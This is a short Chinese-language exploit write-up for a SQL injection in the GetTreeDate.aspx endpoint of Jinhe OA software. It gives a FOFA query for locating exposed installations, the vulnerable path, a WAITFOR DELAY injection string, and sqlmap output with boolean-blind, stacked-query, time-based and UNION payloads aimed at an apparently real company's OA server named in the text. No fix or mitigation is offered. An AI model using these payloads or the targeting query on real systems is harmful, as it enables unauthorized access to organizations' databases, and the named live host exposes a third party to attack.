

金和 OA GetTreeDate.aspx SQL 注入

1、fofa

app="金和网络-金和OA"



2、界面如下



3、隐患 url

/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1

← → ↻ ① 不安全 | ██████████ C6/Jhsoft.Web.users/GetTreeDate.aspx?id=1

```
[{"id": "1198", "text": "董事会办公室", "permissions": true, "value": "GetTreeDate.aspx?nodeid=1198", "checkstate": 0, "complete": false, "isexpand": false, "hasChildren": false}, {"id": "1001", "text": "层", "permissions": true, "value": "GetTreeDate.aspx?nodeid=1001", "checkstate": 0, "complete": false, "isexpand": false, "hasChildren": false}, {"id": "1226", "text": "司", "permissions": true, "value": "GetTreeDate.aspx?nodeid=1226", "checkstate": 0, "complete": false, "isexpand": false, "hasChildren": false}, {"id": "1237", "text": "司", "permissions": true, "value": "GetTreeDate.aspx?nodeid=1237", "checkstate": 0, "complete": false, "isexpand": false, "hasChildren": false}]
```

4、简单测试后发现此处存在 sql 注入

/C6/Jhsoft.Web.users/GetTreeDate.aspx?id=1%3bWAITFOR+DELAY+'0%3a0%3a5'+--%20and%201=1

| Network Performance Memory Application Edit this Cookie Security Hackbar | | | |
|--|--------|--------|---------------|
| Save log <input type="checkbox"/> Disable cache Online <input type="checkbox"/> | | | |
| <input type="checkbox"/> Group by frame <input type="checkbox"/> Capture screenshots | | | |
| | Status | Type | Initiator |
| | 200 | script | content.js:32 |
| | 200 | script | content.js:32 |
| | 200 | script | content.js:32 |
| | 200 | script | content.js:32 |

transferred | 6.8 kB / 93.2 kB resources | Finish: 6.50 s | DOMContentLoaded: 5.26 s | Load: 5.28 s

5、sqlmap 验证如下

```
[23:23:49] [INFO] testing 'Generic inline queries'
[23:23:49] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:23:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[23:24:00] [INFO] URI parameter '#1*' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[23:24:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[23:24:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
[23:24:10] [INFO] URI parameter '#1*' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable
[23:24:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:24:10] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential)
[23:24:12] [INFO] target URL appears to be UNION injectable with 3 columns
[23:24:13] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: https://oa.haitousco.com/C6/Jhsoft.Web.users/GetTreeDate.aspx?id=1 AND 7287=7287

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: https://oa.haitousco.com/C6/Jhsoft.Web.users/GetTreeDate.aspx?id=1;WAITFOR DELAY '0:0:5'--

Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: https://oa.haitousco.com/C6/Jhsoft.Web.users/GetTreeDate.aspx?id=1 WAITFOR DELAY '0:0:5'--

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: https://oa.haitousco.com/C6/Jhsoft.Web.users/GetTreeDate.aspx?id=1 UNION ALL SELECT NULL,CHAR(113)+CHAR(98)+CHAR(122)+CHAR(90)+CHAR(119)+CHAR(80)+CHAR(104)+CHAR(107)+CHAR(72)+CHAR(75)+CHAR(84)+CHAR(102)+CHAR(81)+CHAR(119)+CHAR(119)+CHAR(103)+CHAR(120)+CHAR(119)+CHAR(121)+CHAR(117)+CHAR(121)+CHAR(86)+CHAR(107)+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(120)+CHAR(113),NULL-- hmcmm
[23:24:37] [INFO] testing Microsoft SQL Server
```